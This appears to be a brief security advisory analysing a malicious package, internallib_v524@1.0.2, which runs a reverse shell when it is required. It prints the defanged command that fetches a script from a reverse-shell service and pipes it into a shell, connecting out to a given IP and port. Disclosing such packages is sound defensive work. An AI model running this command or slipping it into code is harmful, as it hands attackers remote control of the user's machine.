internallib_v524@1.0.2

Analysis

The package exports a function that executes a reverse shell payload. When required, it runs `curl hxxps://reverse-shell[.]sh/10[.]0[.]64[.]141:4433|sh` via a bash subprocess, connecting to IP 10[.]0[.]64[.]141 on port 4433 and piping the response into a shell — giving the attacker remote shell access to the installer's machine.